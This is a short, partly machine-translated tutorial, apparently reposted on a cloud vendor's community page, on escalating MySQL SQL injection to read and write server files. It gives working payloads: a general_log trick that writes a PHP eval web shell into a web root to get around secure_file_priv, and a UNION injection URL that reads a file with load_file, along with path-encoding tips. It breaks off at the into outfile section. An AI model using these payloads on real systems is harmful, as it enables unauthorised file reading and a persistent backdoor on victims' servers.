SQL injection--high privilege, load_file read and write files

Source: Internet
Author: User
Tags sql injection

1.MYSQL new feature limit file write and replace method

A newer version of MySQL added a new feature, Secure_file_priv, which limits the permissions of MySQL export files
Secure_file_priv Options

secure_file_priv   1、限制mysqld 不允许导入 | 导出        --secure_file_prive=null  2、限制mysqld 的导入 | 导出 只能发生在/tmp/目录下      --secure_file_priv=/tmp/  3、不对mysqld 的导入 | 导出做限制              --secure_file_priv= linuxcat /etc/my.cnf    [mysqld]    secure_file_priv= win    my.ini       [mysqld]     secure_file_priv=
View Secure_file_priv
show global variables like ‘%secure%‘;
High-Privilege injection encounters Secure_file_priv

This option is not secure_file_priv by default in the MySQL high-profile configuration file, but you can use the SQL statement to view Secure_file_priv discovery, which is null if this option is not configured, that is, the file cannot be exported.

Alternative methods:
To know the path

set global general_log=on;set global general_log_file=‘C:/phpStudy/WWW/123.php‘;select ‘<?php eval($_POST[123]) ?>‘;


2 High-privilege file read/write

Load_file () Read the file

http://test.com/sqli/Less-1/?id=-1‘ union select 1,load_file(‘c:\\flag.txt‘),3 --+

1.路径使用\\ ,否则会被当作转义符号2.路径使用/3.盘符根路径下可用c:admin.txt4.16进制文件名5.char(路径ascii)

into Outfile/into dumpfile writing files

SQL injection--high privilege, load_file read and write files

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.